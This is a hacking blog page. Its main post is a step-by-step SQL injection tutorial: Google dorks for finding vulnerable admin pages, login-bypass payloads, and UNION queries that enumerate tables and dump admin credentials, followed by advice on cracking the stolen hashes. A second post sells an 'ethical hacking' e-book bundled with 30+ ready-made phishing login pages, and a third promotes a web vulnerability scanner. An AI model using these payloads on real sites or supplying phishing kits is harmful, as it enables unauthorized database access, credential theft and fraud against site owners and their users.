Results for Sql Injection

Sql Injection | Basic and Detail Tutorial.

Monday, January 17, 2011
What is SQL injection ?

SQL(Structured Query Language) injection or insertion is an attack technique that exploits the vulnerability of the web application that communicates with the database of the server.This type of attack is successful if the application fails to validate the user supplied inputs in sql statements to communicate with the database there by allowing the attacker to gain control of all database resources.
Lastly I would like to mention that the application level vulnerability is exploited rather than the server or database side vulnerbility.
I recommend readers if they abide by the blog's Disclaimer then they can proceed reading this post otherwise leave this page immediately.
Basic Sql Injection:
.Asp based websites are basically more vulnerable to this type of attack.So we can use Goolge dorks to find out few sites.

"inurl:admin.asp"
"inurl:adminlogin.asp"
"inurl:adminhome.asp"
"inurl:administratorlogin.asp"
"inurl:administrator_login.asp"

and many more here.

Bypassing Login Screen:
Now that we have arrivied at the administration page we need to enter "admin",admin'--,admin'#,admin'/* etc in username section and the below sql injections in the password section.

' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1—
and many more are there.

Extended SQl Injection:

1.Concept behind Error messages

a.Eg:- http://www.website.com/index.php?id=49'

b.A ' is need to be added after the digit 49.

c.An error as below proves that it is vulnerable to SQL injection.
d.If nothing is shown up then it is vulnerable to "Blind SQL injection".

2.Now we need to find the no.of columns in the database by using "ORDER function".
As we got error at "10" so the no of columns in the database is "9".

3.Now we need to find the most vulnerable column by using "UNION function"

http://www.website.com/news.php?id==-49 union all select 1,2,3,4,5,6,7,8,9--

a.Look out for some random number in the screen as shown below.

b.Dash "-" is compulsory (id=-32) instead of (id=32)

c.Now, if this displays an error/blank page, just move on to the next site.

d.If it displays a couple numbers on the page, congrats! The site is vulnerable.

4.Now we need to find the SQL database version of the site.
http://www.website.com/news.php?id==-49 union all select 1,2,3,4,5,6,7,8,@@version--

Injection for VERSION 4:

If you get version 4 from the above step then it will be bit difficult as we have to guess the tables and columns.There we have to adapt the hit and trail methods and the chance of success is very limited.


Injection for VERSION 5 and above:

1.Now we need to find the tables of the above vulnerable column.

a.Tables are always lying into the information_schema.tables‘s Database.So to extract tables from it the query is like below.
http://www.website.com/news.php?id=-49 union all select 1,2,3,4,5,6,7,8,table_name from information_schema.tables where table_schema=database()

b.Most vulnerable column is 9 so we have put table_name inplace of 9.

c.It will only show the first table name which is lying in the database at the top.But to show all the tables “group_concat(table_name)” function is used.

d.http://www.website.com/news.php?id=-49 union all select 1,2,3,4,5,6,7,8,group_concat(table_name) from information_schema.tables where table_schema=database()

OR
http://www.website.com/news.php?id=-49 union all select 1,2,3,4,5,6,7,8,group_concat(table_name) from information_schema.tables
e.We got cms_comments,cms_docs,cms_user etc... as tables.

2.Now we need to find the columns from the desired table.Here it is cms_user.

a.The input string need to be converted into Decimal/Ascii equivalent inorder to communicate with the database.

b.You may use (http://easycalculation.com/ascii-hex.php) to convert any string to Decimal/Ascii equivalent or you can also use a Firefox Addon.
c.With cms_user as input the ASCII value is 99 109 115 95 117 115 101 114.

d.http://www.website.com/news.php?id=-49 union all select 1,2,3,4,5,6,7,8,group_concat(column_name) from information_schema.columns where table_name=char(99 109 115 95 117 115 101 114) is the modified code.

e."group_concat" used for all columns and since we are concerned with columns so "information_schema.columns" is used instead of "information_schema.tables".
f.Here we got id,c_name,f_name as the columns of the table cms_user.

g.In order to retrive datas it is needed to replace group_concat(column_name) with group_concat(id,0x3a,c_name,0x3a,f_name) from cms_user here "0x3a" is just the colon and that will separate the contents which we will retrieve.
http://www.website.com/news.php?id=-49 union all select 1,2,3,4,5,6,7,8,group_concat(id,0x3a,c_name,0x3a,f_name) from cms_user

*So all ids,c_name values,f_name values on the screen.Similarly if you get the admin table and you found some columns of admin_name and password then you have to implement the query as,Group_concat(admin_name,0x3a,password)from admin here
admin_name and the password are the columns and admin is the table name.

*If the password in encrypted form then we have to use few tools like John the ripper,Cain & Able or if it is md5 or any other encrypted then we may use few online decrypter which you can get through google.You may use the list of few online decrypter I have provided here.


Few important points:

1.We can use instead of -- put /* or even nothing in the above statements.

2.In order to find the version of the database we can use @@version or version() and may use user(),database() to check the database type and user.

3."0x3a" is used as separator of the retrieve data,it is only a colon.

4.A "'" is need to be added inorder to check the vulnerability if nothing is shown up then it may be under "Blind Sql Injection"

By: Chintan Gurjar and edited,updated by Satyajit Das(Admin).

About Chintan Gurjar:He is an Ethical Hacking enthusiast and a final year B.tech student form Ahmedabad, India and a nice person you can catch him here.
Sql Injection | Basic and Detail Tutorial. Sql Injection | Basic and Detail Tutorial. Reviewed by Satyajit (Admins,a.k.a Satosys) on Monday, January 17, 2011 Rating: 5

A Beginner's Guide to Ethical Hacking(By Rafay Baloch)

Sunday, August 29, 2010
A Beginners Guide to Ethical Hacking




Download

Why you should buy this book?
  • Are you interested in ethical hacking but donot know where to start then this book by Rafay Baloch is the most reliable source and i too also recommend it. 
  • "A Beginners Guide to Ethical Hacking" is really a great book for newbie hackers those who are really curious for ethical hacking and lead them to become a master hacker.
  • Amaze your friends with awesome hacking tricks from this book and apply them to real world situation.
  • It will help you learn how to make your computer secure and free from future hack attacks.
  • This book will certainly make your dream come true.
  • This book is a unique of its kind and you can have you copy from the vendor.
Bonus 1:  



1000 Hacking Tutorials 

For a limited time only , with the purchase of “A Beginner’s Guide to Ethical Hacking” you will receive the following bonus package! 1000 Hacking Tutorials contains 1000 of the best hacking tutorials of 2010 leaked on the internet!

Bonus 2:



Set of Phishers

With the purchase of A beginners Guide to Ethical Hacking you will also get a set of 30+ phishers(Fake login page) already created by Rafay.




Its Decision Time!

Now you have heard it all so what are you waiting for.
  • This book does not demand any prior knowledge about Hacking. So if you are a newbie to the concept of hacking and want to master it from the basics, then this book is for you.
  • The information given in this underground handbook will put you into a hacker’s mindset and teach you all of the hacker’s secret.So what are you waiting for! Grab "A Beginners Guide to Ethical hacking" and start your Hacking journey.
Note: A Beginners guide to Ethical Hacking is in PDF format to make it easy for you to apply the information in real world.




A Beginner's Guide to Ethical Hacking




Regular Price $67.00  Today's Price $20.00




Download Me

A Beginner's Guide to Ethical Hacking(By Rafay Baloch) A Beginner's Guide to Ethical Hacking(By Rafay Baloch) Reviewed by Satyajit (Admins,a.k.a Satosys) on Sunday, August 29, 2010 Rating: 5

"Acunetix"--Web Vulnerability Scanner.

Wednesday, July 14, 2010
Is your website hackable??....lol :) this question will surely make you wonder for a while....you can check this by "ACUNETIX"-Web Vulnerability  Scanner.Nowadays hackers are focusing on  applications on website like shopping cart,logins..etc because these applications control credit card info,customer information etc which are of great importance for hackers.Firewall,SSL,lock down servers are really useless in web application hacking as port :80 has to remain open always.So to make your website secure you have to look out for vulnerabilities regularly,which can be done with "ACUNETIX".

How acunetix can protect your website?
  • Acunetix scans your web appliation  for  Sql Injection,Cross Site Scripting and other vulnerabilities.
  • It has advanced penetration testing tool  like HTTP Editor,Sniffer,Fuzzer and more.
  • Generate regulatory compliance report.
  • Checks password strength on authentication  pages( HTTP,HTML forms)
  • Also scans for Ajax and Java script applications for vulnerabilities.
Why you should use this?
--Acunetix is used by leading companies worldwide like IBM,at&t,ADIDAS,SAMSUNG,NASA etc.

--The biggest benefit is the largest amount of vulnerabilities  it scans and report.

Website:http://www.acunetix.com/
Read this:A complete analysis

 If you find this share worthy.......so,do drop a comment..... :)

IF YOU FIND THIS BLOG WORTH READING THEN DO "VOTE" FOR IT........Click here to Vote!
"Acunetix"--Web Vulnerability Scanner. "Acunetix"--Web Vulnerability  Scanner. Reviewed by Satyajit (Admins,a.k.a Satosys) on Wednesday, July 14, 2010 Rating: 5
Powered by Blogger.